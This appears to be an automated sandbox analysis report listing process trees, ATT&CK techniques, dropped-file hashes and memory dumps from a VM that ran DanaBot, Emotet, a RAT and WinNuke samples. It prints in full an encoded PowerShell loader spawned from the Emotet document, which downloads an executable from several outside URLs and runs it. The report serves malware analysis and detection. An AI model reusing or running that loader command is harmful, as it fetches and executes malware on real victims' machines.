  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1300 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5516 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:5004

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3328

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:960

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2168

C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Banking-Malware\DanaBot.exe
"C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Banking-Malware\DanaBot.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:4404
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 296
  2⤵
  - Program crash
  PID:2060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4404 -ip 4404
1⤵
PID:1632

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Temp1_Emotet.zip\[email protected]" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:860
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enco JABqAHIARgBoAEEAMAA9ACcAVwBmADEAcgBIAHoAJwA7ACQAdQBVAE0ATQBMAEkAIAA9ACAAJwAyADgANAAnADsAJABpAEIAdABqADQAOQBOAD0AJwBUAGgATQBxAFcAOABzADAAJwA7ACQARgB3AGMAQQBKAHMANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdQBVAE0ATQBMAEkAKwAnAC4AZQB4AGUAJwA7ACQAUwA5AEcAegBSAHMAdABNAD0AJwBFAEYAQwB3AG4AbABHAHoAJwA7ACQAdQA4AFUAQQByADMAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBsAEkARQBuAHQAOwAkAHAATABqAEIAcQBJAE4ARQA9ACcAaAB0AHQAcAA6AC8ALwBiAGwAbwBjAGsAYwBoAGEAaQBuAGoAbwBiAGwAaQBzAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADAAMQA0ADAAOAAwAC8AQABoAHQAdABwAHMAOgAvAC8AdwBvAG0AZQBuAGUAbQBwAG8AdwBlAHIAbQBlAG4AdABwAGEAawBpAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHAAYQBiAGEANQBxADUAMgAvAEAAaAB0AHQAcABzADoALwAvAGEAdABuAGkAbQBhAG4AdgBpAGwAbABhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMAA3ADMANwAzADUALwBAAGgAdAB0AHAAcwA6AC8ALwB5AGUAdQBxAHUAeQBuAGgAbgBoAGEAaQAuAGMAbwBtAC8AdQBwAGwAbwBhAGQALwA0ADEAOAAzADAALwBAAGgAdAB0AHAAcwA6AC8ALwBkAGUAZQBwAGkAawBhAHIAYQBpAC4AYwBvAG0ALwBqAHMALwA0AGIAegBzADYALwAnAC4AIgBzAFAATABgAGkAVAAiACgAJwBAACcAKQA7ACQAbAA0AHMASgBsAG8ARwB3AD0AJwB6AEkAUwBqAEUAbQBpAFAAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYAMwBoAEUAUABNAE0AWgAgAGkAbgAgACQAcABMAGoAQgBxAEkATgBFACkAewB0AHIAeQB7ACQAdQA4AFUAQQByADMALgAiAEQATwB3AGAATgBgAGwATwBhAEQAZgBpAGAATABlACIAKAAkAFYAMwBoAEUAUABNAE0AWgAsACAAJABGAHcAYwBBAEoAcwA2ACkAOwAkAEkAdgBIAEgAdwBSAGkAYgA9ACcAcwA1AFQAcwBfAGkAUAA4ACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQARgB3AGMAQQBKAHMANgApAC4AIgBMAGUATgBgAGcAVABoACIAIAAtAGcAZQAgADIAMwA5ADMAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAHIAVAAiACgAJABGAHcAYwBBAEoAcwA2ACkAOwAkAHoARABOAHMAOAB3AGkAPQAnAEYAMwBXAHcAbwAwACcAOwBiAHIAZQBhAGsAOwAkAFQAVABKAHAAdABYAEIAPQAnAGkAagBsAFcAaABDAHoAUAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB2AFoAegBpAF8AdQBBAHAAPQAnAGEARQBCAHQAcABqADQAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1528

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:336

C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\RAT\Blackkomet.exe
"C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\RAT\Blackkomet.exe"
1⤵
- Modifies WinLogon for persistence
- Adds Run key to start application
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4452
- C:\Windows\SysWOW64\attrib.exe
  attrib "C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\RAT\Blackkomet.exe" +s +h
  2⤵
  - Sets file to hidden
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:3484
- C:\Windows\SysWOW64\attrib.exe
  attrib "C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\RAT" +s +h
  2⤵
  - Sets file to hidden
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:1512
- C:\Windows\SysWOW64\Windupdt\winupdate.exe
  "C:\Windows\system32\Windupdt\winupdate.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  PID:3948
- - C:\Windows\SysWOW64\attrib.exe
    attrib "C:\Windows\SysWOW64\Windupdt\winupdate.exe" +s +h
    3⤵
    - Sets file to hidden
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:1780
- - C:\Windows\SysWOW64\attrib.exe
    attrib "C:\Windows\SysWOW64\Windupdt" +s +h
    3⤵
    - Sets file to hidden
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2924
- - C:\Windows\SysWOW64\Windupdt\winupdate.exe
    "C:\Windows\system32\Windupdt\winupdate.exe"
    3⤵
    - Modifies WinLogon for persistence
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    PID:2844
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Windows\SysWOW64\Windupdt\winupdate.exe" +s +h
      4⤵
      Sets file to hidden
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:996
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Windows\SysWOW64\Windupdt" +s +h
      4⤵
      Sets file to hidden
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:336

C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Virus\WinNuke.98.exe
"C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Virus\WinNuke.98.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:1528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\284.exe

Filesize
149KB

MD5
dfb2b4e47b6589b121f13d056208f992

SHA1
f6480ba7e7763615e1fa0b3d8289f22df55d82ec

SHA256
9a3dac72ba3b6afc88e307bd9bae52ae2016bf292ead636ec7b34923e27c8ae5

SHA512
c0b41c9d9bf7c42de17d1784de7b996db8597418cbe42417f706fbd09df3e7d057899cea2d0f737ce74447b04dd76ed70b2aa5d02491168595f64bfeb2393e08

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
b4ae6009e2df12ce252d03722e8f4288

SHA1
44de96f65d69cbae416767040f887f68f8035928

SHA256
7778069a1493fdb62e6326ba673f03d9a8f46bc0eea949aabbbbc00dcdaddf9d

SHA512
bb810721e52c77793993470692bb2aab0466f13ed4576e4f4cfa6bc5fcfc59c13552299feb6dfd9642ea07b19a5513d90d0698d09ca1d15e0598133929c05fe1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
4bf4b59c3deb1688a480f8e56aab059d

SHA1
612c83e7027b3bfb0e9d2c9efad43c5318e731bb

SHA256
867ab488aa793057395e9c10f237603cfb180689298871cdf0511132f9628c82

SHA512
2ec6c89f9653f810e9f80f532abaff2a3c0276f6d299dce1b1eadf6a59e8072ed601a4f9835db25d4d2610482a00dd5a0852d0ef828678f5c5ed33fe64dddca9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
4KB

MD5
31356badf212ec15e015bfdb84085d02

SHA1
7487b33a1befaf1d89a13c46e9454a7fd38ce42c

SHA256
e438344e2acb0731b140f3b64e288c0e1fde75bf568adb8c3d17682986d48730

SHA512
296cad905f21fb7043ba200ae0584ff809e1b38656bd562b1307fed38a381ba0bc4ba186805385a5425fcf00512ea9293f7672aae4be3adaf67a08322a42d349

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
e6d70b6220175851e190ccb36f9485fb

SHA1
555a8295750ad704c493a55517e5934ec2a5151f

SHA256
f05c24ebc0fb894069b343283e0d4fce4f9845cc916bc00488f8681b6ba685f6

SHA512
9b0cb82b63bdcdcca3e4ba8f8b9faa4626f9deb5b85631704d9a9946d161757102f658e082d561aafa045c2bd7fc8e06026f3f8f71bda9f7fbe58e2cd4d8615a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
4c27a589c6eff48c4cae16d02a8d5319

SHA1
4718ac7388addfc74b85ed353a33efcfd91ff6ce

SHA256
b526131662389d268c5c956855bfd9c3bda131f09f0624e95b6d02f8c8ab97a9

SHA512
8a433917bfa52b51eb398d6f17c9778400bedb9743bc64634b8232f261e382935127b5fbee975f83958c9e1b318f49df17ec4f74ef69244913757717734973c8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
9fa219fc0e6e7212fd192b68b1266a83

SHA1
a4da7d8fd9ba49221d4257e1620af16fb3f9c75a

SHA256
e0836df9c54f69e21eedf9d92c5eb27d3be269528bf8c51b066691bbe2d76a6b

SHA512
a5ef3bd50564e2f6987499e8b081aa4663212baad3083b6d00f44ff614befa10e35bc1ddd3ec9e67e24db4953fada2b20354175686f5dda81700472a441872e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
4bcd1e3b224eed659443460418684457

SHA1
6f92bd63f2acea8a9092fd6d2a51af3cf2661ae7

SHA256
a8c7560b6b09eb19ae4dbcb0904f174cea44e1a0e51cb4c1895f836436be04ff

SHA512
bf91995c493ae94c5a1ade7c0d666dc2a299cde96382faf146166e1de9a8631becc442eb928a09f2f18e82d601a8c7687dbaf413674663423961528d4212c622

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
0100fca101475dcddb6b50d84d60703e

SHA1
d44734b20c63bef0265c44336ade68557c302c48

SHA256
e162685202280b11201b58185e5fbe7445d0e90dbf75c7c7528d96dc04330c48

SHA512
c7a5c42a50cbabf041d31f6a33aa60a2311eddda3a034bbd214f545bb54fe1ff821cf9e3ba25bc14a7b0e43b3e50fc31af5c4812d4f4ce23eac8a95d25dcad43

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
9faff672ca744a9d7908d00b1f104a8f

SHA1
cecec4fe3c05de389fbd1603d0bc1a176c9505ca

SHA256
6d48aada8322613468b459ea422e510381abb418e8dd01651464c8c6e4a5d25d

SHA512
3503ae5a2661dca2dfbc65dee7a4e1103c7b20f50e5d344cd1b782f97cdf7c14070b1170eb51fbcde0da42a844d56ed094ec79a4b9c92f2839c38889e97a5f94

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
ffea8db667711322a3d725db172400b9

SHA1
ba31064c24edf6e03c8a4e3c030cff94a36e5ba3

SHA256
e440a43762301fb144acec1089ebefbfc69165126a472c5bedb25f225758d0c1

SHA512
0ff2e1c55609383ed319b5cc0ba4afb1c37b0dc5ebf666e8f284e92e407d58c49f13b2b3f63232fa01bad88d789efde11d9723fc2f5b6fc766cf114e8aa26e8c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
b8b4350750e145ec91b6fbccf8b8b87d

SHA1
5eb3ad445bf8ee54e7083c8535b82eef52a8d3ed

SHA256
ae9406d2c94f456f4fb0fe7e0edffbb8624c9f1b0228e0fcc7e51a40424663d8

SHA512
1e22fc69e644409584ff0545168b4e7205a730227861161aa58d19ba727fa0189ced1ec3b0ce9e8d22fa0352fee3cb7c6b5c776d3f96f0b098f88bb1a70d170b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57c285.TMP

Filesize
869B

MD5
304c83a679732d50db340eda51ca637e

SHA1
24a148107fcfd13e70f42d8c753bacb0066e9669

SHA256
19bc6719341e84702bb8147067f780e527d9770fe772602b72d845d28fafd481

SHA512
ffad76e52929b051d5e232d9068edc6dd3e7436359b91b52fb443fd7c1af475303288536e2134840eab473dbf0adde3b7b668c8f0733fe843ae085877e62de9f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT~RFe5789a2.TMP

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
6dd7e37775c00ac5e87c7fe5e148b600

SHA1
1d7c6ed6676b0fd95a6bbab3c8795647bb3e47af

SHA256
1e0e7f30b883da4740826c422c379922f6d016ce9126d685faeb884d96dcc4f4

SHA512
a5885655a02616a3e27a5603f4e2e1564eed3a772dd6887172351fc7a46f5b19d5f7ead22aafe88d1141d0d6d2154554861afc5b3eb5b17a0510856f63fa1b90

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
1d10845e10d85a8eed2b96a1b494b512

SHA1
2f8c89785f0f8274219e4f93c1cc78edab7e1a30

SHA256
b97c93db5a830b667aa5d0a9b864e3cd9722515b10522df557a4da47aa9599d1

SHA512
01df2b5c4ab3a843e93e0e331425a40170cb1a185ceed2dbbdcdb44b49e2eb3c9248025089017c9446d8255b530c85fc270ce82435630117f7154a2683cb65cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\3AD779A9.wmf

Filesize
430B

MD5
91b7a708bf0f1cefd8b28b3cf48caa55

SHA1
bf5ead5ba437780189de59be0a5f68e84ad44697

SHA256
9c671c15178545c84d13bf803ee1fad092e5dc51fcd6219e7abc94f46d5f8dd1

SHA512
5b8dc4aec526e1224263d8f087a005015c117a31cd7e43d009ae0e5f2b2e5e10566362298203961181ac150e75f23145ac28f1a0ca332e788a4974258a871fe3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dyzbnbcc.i40.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\The-MALWARE-Repo-master.zip:Zone.Identifier

Filesize
26B

MD5
fbccf14d504b7b2dbcb5a5bda75bd93b

SHA1
d59fc84cdd5217c6cf74785703655f78da6b582b

SHA256
eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

SHA512
aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

Download Submit
C:\Windows\SysWOW64\Windupdt\winupdate.exe

Filesize
756KB

MD5
c7dcd585b7e8b046f209052bcd6dd84b

SHA1
604dcfae9eed4f65c80a4a39454db409291e08fa

SHA256
0e8336ed51fe4551ced7d9aa5ce2dde945df8a0cc4e7c60199c24dd1cf7ccd48

SHA512
c5ba102b12d2c685312d7dc8d58d98891b73243f56a8491ea7c41c2edaaad44ad90b8bc0748dbd8c84e92e9ae9bbd0b0157265ebe35fb9b63668c57d0e1ed5f2

Download Submit
C:\Windows\SysWOW64\Windupdt\winupdate.exe:Zone.Identifier

Filesize
92B

MD5
c6c7806bab4e3c932bb5acb3280b793e

SHA1
a2a90b8008e5b27bdc53a15dc345be1d8bd5386b

SHA256
5ba37b532dbb714d29f33e79dacb5740096fd1e89da0a07b9b8e6b803931c61a

SHA512
c648be984413fdbaeb34808c8164c48b5441a8f3f35533b189f420230e5e90605c15fde2ce0d9fe42e9755c594dd1ef32de71a24016277ad2cef2f9afcf0ad93

Download Submit
memory/860-614-0x00007FF8857F0000-0x00007FF885800000-memory.dmp

Filesize
64KB

Download
memory/860-852-0x00007FF8857F0000-0x00007FF885800000-memory.dmp

Filesize
64KB

Download
memory/860-612-0x00007FF8857F0000-0x00007FF885800000-memory.dmp

Filesize
64KB

Download
memory/860-617-0x00007FF883110000-0x00007FF883120000-memory.dmp

Filesize
64KB

Download
memory/860-851-0x00007FF8857F0000-0x00007FF885800000-memory.dmp

Filesize
64KB

Download
memory/860-854-0x00007FF8857F0000-0x00007FF885800000-memory.dmp

Filesize
64KB

Download
memory/860-853-0x00007FF8857F0000-0x00007FF885800000-memory.dmp

Filesize
64KB

Download
memory/860-618-0x00007FF883110000-0x00007FF883120000-memory.dmp

Filesize
64KB

Download
memory/860-616-0x00007FF8857F0000-0x00007FF885800000-memory.dmp

Filesize
64KB

Download
memory/860-615-0x00007FF8857F0000-0x00007FF885800000-memory.dmp

Filesize
64KB

Download
memory/860-613-0x00007FF8857F0000-0x00007FF885800000-memory.dmp

Filesize
64KB

Download
memory/1528-768-0x0000024A62590000-0x0000024A625B2000-memory.dmp

Filesize
136KB

Download
memory/2844-938-0x0000000013140000-0x000000001320F000-memory.dmp

Filesize
828KB

Download
memory/3948-937-0x0000000013140000-0x000000001320F000-memory.dmp

Filesize
828KB

Download
memory/4452-935-0x0000000013140000-0x000000001320F000-memory.dmp

Filesize
828KB

Download